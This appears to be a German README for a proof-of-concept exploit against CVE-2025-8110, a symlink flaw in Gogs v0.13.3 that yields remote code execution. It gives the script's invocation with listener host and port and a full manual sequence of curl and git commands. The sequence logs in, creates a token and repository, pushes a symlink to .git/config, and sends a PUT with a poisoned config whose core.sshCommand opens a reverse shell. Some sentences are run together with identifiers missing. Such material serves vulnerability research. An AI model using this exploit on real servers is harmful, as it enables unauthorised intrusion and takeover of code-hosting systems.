
One-Shot-Exploit für Gogs-Symlink-RCE (CVE-2025-8110), der über eine einzelne PUT-Anfrage an UpdateRepoFile eine Reverse-Shell auslöst.
Python-Proof-of-Concept-Skript für CVE-2025-8110 — Gogs v0.13.3 UpdateRepoFile Symlink RCE. Single-Shot: Die bösartige PUT-Anfrage selbst löst git fetch → sshCommand → Reverse Shell aus.
⚠️ Nur für Bildungszwecke und autorisierte Sicherheitsforschung. Die Verwendung dieses Tools gegen Systeme, die Sie nicht besitzen oder für die Sie keine schriftliche Genehmigung zum Testen haben, ist illegal.
Der UpdateRepoFile-Handler in internal/db/repo_editor.go ruft auf, um Dateiinhalte zu schreiben. Dieser Aufruf folgt Symlinks, ohne diese zu überprüfen. In Kombination mit der Tatsache, dass frühere Symlink-Commits in navigieren, kann ein Angreifer:
os.WriteFile.git/x → .git/config in das bare Repository pushenPUT /api/v1/repos/{owner}/{repo}/contents/x mit einer bösartigen .git/config aufrufen, die core.sshCommand auf einen Reverse-Shell-Befehl setztgit fetch origin aus (über CreateOrUpdateRepoFile → UpdateLocalCopyBranch), was die modifizierte Konfiguration liest und sshCommand ausführt — und so in einem Schritt eine Reverse Shell startet.poc.py: Fragt nach Ziel, Benutzername, Passwort, LHOST und LPORT; meldet sich an, erstellt ein API-Token, erstellt ein Repository, pusht einen Symlink und überschreibt .git/config über die API — die einzelne PUT-Anfrage selbst löst die Reverse Shell aus.Ausführen:
python3 poc.py --target https://gogs.example.com --username admin --password admin123 --lhost 10.10.14.206 --lport 9001
| Argument | Erforderlich | Beschreibung |
|---|---|---|
--target / -t | Ja | Gogs-Zielhostname oder URL |
--username | Ja | Vorhandener Gogs-Benutzername |
--password | Ja | Vorhandenes Gogs-Passwort |
--lhost | Ja | Listener-IP für Reverse Shell |
--lport | Ja | Listener-Port |
/user/settings/applicationsx → .git/config, committed und pusht ihnPUT /api/v1/repos/{owner}/{repo}/contents/x mit einer bösartigen Git-Konfiguration, die core.sshCommand und eine SSH-Remote-URL enthält. Gogs' CreateOrUpdateRepoFile ruft intern UpdateLocalCopyBranch → git fetch origin auf, das die vergiftete Konfiguration liest und sshCommand ausführt — und damit in einer Anfrage eine Reverse Shell startet.curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/login
# Extract _csrf from response
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/login \
-d '_csrf=<csrf>&user_name=<user>&password=<pass>'
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies http://target/user/settings/applications
# Extract _csrf
curl -c /tmp/gogs-cookies -b /tmp/gogs-cookies -X POST http://target/user/settings/applications \
-d '_csrf=<csrf>&name=poc-token'
curl -X POST http://target/api/v1/user/repos \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
-d '{"name":"poc-repo"}'
git clone http://<user>:<token>@target/<user>/poc-repo.git
cd poc-repo
ln -s .git/config x
git add x
git commit -m "add symlink"
git push origin master
curl -X PUT http://target/api/v1/repos/<user>/poc-repo/contents/x \
-H "Authorization: token <token>" \
-H "Content-Type: application/json" \
--max-time 10 \
-d '{"message":"x","content":"<base64 of malicious git config>"}'
Die PUT-Anfrage selbst löst git fetch origin aus, das die vergiftete .git/config liest und die Reverse Shell ausführt. Es ist keine zweite Anfrage erforderlich.
Warum
--max-time 10? Der Server kann für ~10s hängen bleiben, während Git den Schreibvorgang verarbeitet und den Fetch auslöst. Durch die Verwendung von--max-time 10wird sichergestellt, dass curl die Verbindung lange genug offen hält, damit sich die Shell zurückverbinden kann. Ohne diese Option kann die Verbindung abbrechen, bevor die Shell gestartet wird.